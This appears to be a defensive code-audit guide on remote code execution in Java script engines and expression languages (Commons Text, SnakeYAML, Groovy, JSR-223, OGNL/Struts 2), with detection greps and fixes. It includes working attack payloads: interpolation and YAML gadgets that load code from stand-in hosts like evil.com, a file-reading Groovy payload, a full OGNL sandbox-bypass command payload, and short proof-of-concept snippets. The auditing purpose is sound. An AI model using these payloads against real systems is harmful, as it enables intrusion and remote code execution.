# Java Script Engines & Expression Languages RCE Detection Module

> Java ecosystem edge-case RCE risks: script engines, expression language implicit execution, text interpolation

## Overview

The Java ecosystem contains various script engines and expression languages. These components can lead to remote code execution (RCE) when processing untrusted input. Compared to mainstream SpEL/OGNL, these "edge-case" components are more easily overlooked but equally dangerous.

**Critical-level risks**:
- Apache Commons Text String Interpolation
- SnakeYAML Constructor/loadAs deserialization
- GroovyShell/GroovyScriptEngine code execution
- javax.script (JSR-223) generic script engines
- OGNL (older Struts 2 versions) expression injection

---

## 1. Apache Commons Text String Interpolation RCE

### Vulnerability Background

**CVE-2022-42889** ("Text4Shell")
- Affected versions: Apache Commons Text 1.5 - 1.9
- CVSS: 9.8 (Critical)
- Type: String Interpolation code execution

### Dangerous Patterns

```java
// ❌ Critical: StringSubstitutor with default lookups
import org.apache.commons.text.StringSubstitutor;

String template = request.getParameter("template");  // User input
StringSubstitutor substitutor = StringSubstitutor.createInterpolator();
String result = substitutor.replace(template);  // RCE!

// Payload examples:
// ${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}
// ${dns:attacker.com}
// ${url:http://evil.com/payload}
```

### Detection Rules

```bash
# 1. Detect StringSubstitutor usage
grep -rn "StringSubstitutor" --include="*.java" -A 5 | grep -E "createInterpolator|replace"

# 2. Detect lookup configuration
grep -rn "StringLookupFactory" --include="*.java" -A 3

# 3. Detect user input to interpolator
grep -rn "createInterpolator" --include="*.java" -B 10 | grep -E "request\.|getParameter|@RequestParam"

# 4. Check version in pom.xml
grep -A 2 "commons-text" pom.xml | grep -E "<version>1\.[5-9]"
```

### Security Fix

```java
// ✓ Approach 1: Disable all lookups
StringSubstitutor substitutor = new StringSubstitutor(
    StringLookupFactory.INSTANCE.mapStringLookup(Collections.emptyMap())
);

// ✓ Approach 2: Only enable safe lookups
Map<String, StringLookup> lookupMap = new HashMap<>();
lookupMap.put("env", StringLookupFactory.INSTANCE.environmentVariableStringLookup());
StringSubstitutor substitutor = new StringSubstitutor(
    StringLookupFactory.INSTANCE.mapStringLookup(lookupMap)
);

// ✓ Approach 3: Upgrade to 1.10.0+
<!-- pom.xml -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>  <!-- Fixed -->
</dependency>
```

---

## 2. SnakeYAML Constructor RCE

### Vulnerability Background

SnakeYAML allows constructing arbitrary Java objects by default. Combined with deserialization gadget chains, this can lead to RCE.

**CVE-2022-1471** (SnakeYAML RCE)
- CVSS: 9.8 (Critical)
- Affects: SnakeYAML < 2.0

### Dangerous Patterns

```java
// ❌ Critical: Default Yaml constructor
import org.yaml.snakeyaml.Yaml;

Yaml yaml = new Yaml();  // Default Constructor, dangerous!
String input = request.getParameter("config");  // User input
Object obj = yaml.load(input);  // RCE!

// ❌ Critical: loadAs with user-controlled type
Class<?> clazz = Class.forName(request.getParameter("type"));
yaml.loadAs(input, clazz);  // RCE!

// ❌ Critical: Constructor without SafeConstructor
Yaml yaml = new Yaml(new Constructor());  // Still dangerous
yaml.load(userInput);

// Payload examples:
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://evil.com/payload.jar"]
  ]]
]
```

### Detection Rules

```bash
# 1. Detect new Yaml() default construction
grep -rn "new Yaml()" --include="*.java" -A 3

# 2. Detect load() method
grep -rn "\.load\s*(" --include="*.java" -B 5 | grep -E "Yaml|yaml"

# 3. Detect loadAs with dynamic class
grep -rn "\.loadAs\s*(" --include="*.java" -A 2 | grep "Class\.forName\|request\."

# 4. Detect Constructor usage
grep -rn "new Constructor(" --include="*.java" -A 2

# 5. Check dependency version
grep -A 2 "snakeyaml" pom.xml | grep -E "<version>(1\.|[^2])"
```

### Security Fix

```java
// ✓ Approach 1: Use SafeConstructor (Recommended)
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;

Yaml yaml = new Yaml(new SafeConstructor());
Object obj = yaml.load(input);  // Safe, only allows basic types

// ✓ Approach 2: Custom whitelist Constructor
import org.yaml.snakeyaml.constructor.Constructor;

public class SafeYamlConstructor extends Constructor {
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "com.myapp.config.AppConfig",
        "com.myapp.model.User"
    );

    @Override
    protected Class<?> getClassForName(String name) throws ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(name)) {
            throw new IllegalArgumentException("Class not allowed: " + name);
        }
        return super.getClassForName(name);
    }
}

Yaml yaml = new Yaml(new SafeYamlConstructor());

// ✓ Approach 3: Upgrade to 2.0+ (Breaking changes)
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>2.0</version>  <!-- Default SafeConstructor -->
</dependency>

// ✓ Approach 4: Use loadAs to restrict type
Yaml yaml = new Yaml();
try (Reader reader = new StringReader(input)) {
    MyConfig config = yaml.loadAs(reader, MyConfig.class);  // Explicitly specify type
}
```

---

## 3. GroovyShell / Groovy ScriptEngine RCE

### Vulnerability Background

Groovy is a dynamic language on the JVM. GroovyShell allows executing arbitrary Groovy code. Direct execution of user input is extremely dangerous.

### Dangerous Patterns

```java
// ❌ Critical: GroovyShell directly executes user input
import groovy.lang.GroovyShell;

String script = request.getParameter("script");  // User input
GroovyShell shell = new GroovyShell();
Object result = shell.evaluate(script);  // RCE!

// ❌ Critical: GroovyScriptEngine
import groovy.util.GroovyScriptEngine;

GroovyScriptEngine engine = new GroovyScriptEngine(".");
String scriptName = request.getParameter("script");  // Controllable path
engine.run(scriptName, new Binding());  // Arbitrary script execution

// ❌ Critical: Binding injects variables then executes
GroovyShell shell = new GroovyShell();
Binding binding = new Binding();
binding.setVariable("userInput", userInput);
shell.evaluate("println userInput.execute()", binding);  // Can execute commands

// Payload examples:
// "Runtime.getRuntime().exec('calc')"
// "new File('/etc/passwd').text"
// "'whoami'.execute().text"
```

### Detection Rules

```bash
# 1. Detect GroovyShell instantiation
grep -rn "new GroovyShell" --include="*.java" -A 5

# 2. Detect evaluate() calls
grep -rn "\.evaluate\s*(" --include="*.java" -B 10 | grep -E "GroovyShell|shell"

# 3. Detect GroovyScriptEngine
grep -rn "GroovyScriptEngine" --include="*.java" -A 3

# 4. Detect Groovy dependency
grep -A 2 "groovy-all\|groovy-" pom.xml

# 5. Detect user input to Groovy
grep -rn "\.evaluate\|\.run\s*(" --include="*.java" -B 10 | \
  grep -E "request\.|getParameter|@RequestParam"
```

### Security Fix

```java
// ✓ Approach 1: Completely avoid using GroovyShell for user input
// Use configuration files, predefined scripts instead

// ✓ Approach 2: Whitelist predefined scripts
private static final Map<String, String> ALLOWED_SCRIPTS = Map.of(
    "calculate", "a + b",
    "format", "value.toUpperCase()"
);

String scriptKey = request.getParameter("script");
if (!ALLOWED_SCRIPTS.containsKey(scriptKey)) {
    throw new IllegalArgumentException("Script not allowed");
}

GroovyShell shell = new GroovyShell();
Binding binding = new Binding();
binding.setVariable("a", 10);
binding.setVariable("b", 20);
shell.evaluate(ALLOWED_SCRIPTS.get(scriptKey), binding);

// ✓ Approach 3: Secure Groovy AST Transformations (Advanced)
import org.codehaus.groovy.control.CompilerConfiguration;
import org.codehaus.groovy.control.customizers.SecureASTCustomizer;

CompilerConfiguration config = new CompilerConfiguration();
SecureASTCustomizer customizer = new SecureASTCustomizer();

// Prohibit dangerous operations
customizer.setDisallowedStatements(Arrays.asList(
    org.codehaus.groovy.ast.stmt.WhileStatement.class,
    org.codehaus.groovy.ast.stmt.ForStatement.class
));

// Prohibit dangerous imports
customizer.setDisallowedImports(Arrays.asList(
    "java.lang.Runtime",
    "java.lang.Process",
    "java.io.File"
));

config.addCompilationCustomizers(customizer);
GroovyShell shell = new GroovyShell(config);

// ✓ Approach 4: Use sandbox (Groovy Sandbox Plugin)
// Requires additional dependency, not detailed here
```

---

## 4. javax.script (JSR-223) Generic Script Engine RCE

### Vulnerability Background

JSR-223 provides a generic script engine API for the Java platform, supporting JavaScript (Nashorn/GraalJS), Groovy, JRuby, Jython, etc. User control of script content or engine type can both lead to RCE.

### Dangerous Patterns

```java
// ❌ Critical: ScriptEngine executes user scripts
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("javascript");  // Or "nashorn", "groovy"
String script = request.getParameter("expr");  // User input
Object result = engine.eval(script);  // RCE!

// ❌ Critical: User controls engine type
String engineName = request.getParameter("engine");  // "groovy", "javascript"
ScriptEngine engine = manager.getEngineByName(engineName);
engine.eval("1+1");  // Appears safe, but user can select groovy then inject malicious code

// ❌ Critical: Bindings injection then execution
ScriptEngine engine = manager.getEngineByName("nashorn");
Bindings bindings = engine.createBindings();
bindings.put("userInput", userInput);  // User input
engine.eval("Java.type('java.lang.Runtime').getRuntime().exec(userInput)", bindings);

// Payload examples (JavaScript/Nashorn):
// "java.lang.Runtime.getRuntime().exec('calc')"
// "Java.type('java.lang.ProcessBuilder')(['cmd','/c','calc']).start()"
// "load('http://evil.com/payload.js')"
```

### Detection Rules

```bash
# 1. Detect ScriptEngineManager
grep -rn "ScriptEngineManager" --include="*.java" -A 5

# 2. Detect engine.eval()
grep -rn "\.eval\s*(" --include="*.java" -B 10 | grep -E "ScriptEngine|engine"

# 3. Detect getEngineByName
grep -rn "getEngineByName" --include="*.java" -A 3

# 4. Detect user input to eval
grep -rn "\.eval\s*(" --include="*.java" -B 15 | \
  grep -E "request\.|getParameter|@RequestParam"

# 5. Detect Nashorn engine (Java 8-14)
grep -rn "nashorn\|javascript.*engine" --include="*.java" -i

# 6. Detect GraalVM JS (Java 15+)
grep -A 2 "graalvm.*js\|org.graalvm.js" pom.xml
```

### Security Fix

```java
// ✓ Approach 1: Avoid using ScriptEngine for user input
// Use native Java logic, configuration files, DSL instead

// ✓ Approach 2: Whitelist expressions
private static final Map<String, String> ALLOWED_EXPRESSIONS = Map.of(
    "sum", "a + b",
    "multiply", "a * b"
);

String exprKey = request.getParameter("expr");
if (!ALLOWED_EXPRESSIONS.containsKey(exprKey)) {
    throw new IllegalArgumentException("Expression not allowed");
}

ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");
Bindings bindings = engine.createBindings();
bindings.put("a", 10);
bindings.put("b", 20);
engine.eval(ALLOWED_EXPRESSIONS.get(exprKey), bindings);

// ✓ Approach 3: Use safe expression language (e.g., JEXL with sandbox)
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.introspection.JexlSandbox;

JexlSandbox sandbox = new JexlSandbox(false);  // Default deny all
sandbox.allow("java.lang.Math");  // Only allow Math class

JexlEngine jexl = new JexlBuilder()
    .sandbox(sandbox)
    .safe(true)
    .create();

JexlExpression expr = jexl.createExpression("Math.max(a, b)");
JexlContext context = new MapContext();
context.set("a", 10);
context.set("b", 20);
Object result = expr.evaluate(context);  // Safe

// ✓ Approach 4: Migrate to GraalVM JS Context API (more secure)
import org.graalvm.polyglot.Context;
import org.graalvm.polyglot.Value;

Context context = Context.newBuilder("js")
    .allowAllAccess(false)  // Prohibit access to Java classes
    .build();

Value result = context.eval("js", "1 + 1");  // Restricted environment
```

---

## 5. OGNL (Struts 2) Expression Injection

### Vulnerability Background

OGNL (Object-Graph Navigation Language) is the core expression language of Struts 2, with a long history of RCE vulnerabilities.

**Notable CVEs**:
- CVE-2017-5638 (Struts2 RCE)
- CVE-2018-11776 (Namespace RCE)
- CVE-2019-0230 (Tag Attributes RCE)

### Dangerous Patterns

```java
// ❌ Critical: OGNL.getValue with user input
import ognl.Ognl;
import ognl.OgnlContext;

String expression = request.getParameter("expr");  // User input
OgnlContext context = new OgnlContext();
Object result = Ognl.getValue(expression, context, new Object());  // RCE!

// ❌ Critical: Struts 2 action with dynamic expression
// struts.xml
<action name="*" class="com.example.DynamicAction">
    <result>/{1}.jsp</result>  // {1} controllable, OGNL injection
</action>

// ❌ Critical: Struts 2 tag with user input
// JSP
<s:property value="%{userInput}" />  // OGNL expression execution

// Payload examples:
// %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
//   .(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
//   .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
//   .(#ognlUtil.getExcludedPackageNames().clear())
//   .(#ognlUtil.getExcludedClasses().clear())
//   .(#context.setMemberAccess(#dm))))
//   .(#cmd='calc')
//   .(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
//   .(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
//   .(#p=new java.lang.ProcessBuilder(#cmds))
//   .(#p.redirectErrorStream(true)).(#process=#p.start())}
```

### Detection Rules

```bash
# 1. Detect OGNL.getValue/setValue
grep -rn "Ognl\.getValue\|Ognl\.setValue" --include="*.java" -A 3

# 2. Detect OgnlContext
grep -rn "OgnlContext" --include="*.java" -A 5

# 3. Detect Struts 2 version
grep -A 2 "struts2-core" pom.xml | grep "<version>"

# 4. Detect dynamic expressions in struts.xml
grep -rn "%{.*}" --include="struts.xml"

# 5. Detect s:property in JSP
grep -rn "<s:property.*value=" --include="*.jsp"

# 6. Detect DevMode (development mode, more dangerous)
grep -rn "struts.devMode.*true" --include="*.xml" --include="*.properties"
```

### Security Fix

```java
// ✓ Approach 1: Upgrade Struts to latest version
<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>6.3.0</version>  <!-- Latest stable version -->
</dependency>

// ✓ Approach 2: Disable dynamic method invocation
// struts.xml
<constant name="struts.enable.DynamicMethodInvocation" value="false" />
<constant name="struts.mapper.alwaysSelectFullNamespace" value="false" />

// ✓ Approach 3: Avoid user input entering OGNL expressions
// Use static values or whitelists

// ✓ Approach 4: Input validation and whitelisting
public class SafeOgnlWrapper {
    private static final Pattern SAFE_PATTERN = Pattern.compile("^[a-zA-Z0-9_\\.]+$");

    public static Object safeGetValue(String expression, Object root) {
        if (!SAFE_PATTERN.matcher(expression).matches()) {
            throw new IllegalArgumentException("Invalid OGNL expression");
        }
        // Only allow simple property access, no method calls
        if (expression.contains("(") || expression.contains("@")) {
            throw new IllegalArgumentException("Method calls not allowed");
        }
        return Ognl.getValue(expression, root);
    }
}

// ✓ Approach 5: Migrate to safer framework (Spring MVC, Spring Boot)
```

---

## Comprehensive Detection Checklist

### Critical Detection Items (Fix Immediately)

- [ ] Apache Commons Text 1.5-1.9 uses `createInterpolator()`
- [ ] SnakeYAML default `new Yaml()` processes user input
- [ ] SnakeYAML `loadAs()` dynamic type loading
- [ ] GroovyShell.evaluate() executes user scripts
- [ ] javax.script ScriptEngine.eval() executes user input
- [ ] OGNL.getValue() processes user expressions
- [ ] Struts 2 older versions (< 6.0)

### High Detection Items (Plan Fix)

- [ ] GroovyScriptEngine dynamically loads script files
- [ ] ScriptEngineManager user-controlled engine type
- [ ] Struts 2 DevMode enabled
- [ ] JSP `<s:property value="%{...}"/>` contains user input

### Medium Detection Items (Code Review)

- [ ] Groovy Binding injects user variables then executes predefined scripts
- [ ] ScriptEngine Bindings contain sensitive objects
- [ ] OGNL expression whitelist validation is incomplete

---

## Fix Priority Matrix

| Component | Default Security | Exploitation Difficulty | Fix Cost | Priority |
|-----------|-----------------|----------------------|----------|----------|
| **Apache Commons Text** | ❌ Low | Low | Low (upgrade) | **P0 - Critical** |
| **SnakeYAML** | ❌ Low | Medium | Medium (Constructor modification) | **P0 - Critical** |
| **GroovyShell** | ❌ Low | Low | High (refactoring) | **P1 - High** |
| **javax.script** | ⚠️ Medium | Medium | High (refactoring) | **P1 - High** |
| **OGNL/Struts2** | ⚠️ Medium | High | High (framework migration) | **P1 - High** |

---

## False Positive Scenarios

The following are **not** vulnerabilities:
- ✅ StringSubstitutor uses SafeConstructor and has no user input
- ✅ SnakeYAML uses SafeConstructor
- ✅ GroovyShell only executes hardcoded scripts with no user input
- ✅ ScriptEngine only executes whitelisted expressions
- ✅ OGNL expression is fully static with no dynamic parts
- ✅ Struts 2 latest version with dynamic method invocation disabled

---

## Minimal PoC Examples
```java
// Commons Text CVE-2022-42889
StringSubstitutor sub = new StringSubstitutor();
System.out.println(sub.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('id')}"));

// SnakeYAML CVE-2022-1471
Yaml yaml = new Yaml();
yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker/\"]]]]");
```

---

## Reference Materials

- CVE-2022-42889: Apache Commons Text RCE
- CVE-2022-1471: SnakeYAML RCE
- Struts 2 Security Bulletins: https://struts.apache.org/security/
- JSR-223 Specification
- OWASP: Expression Language Injection
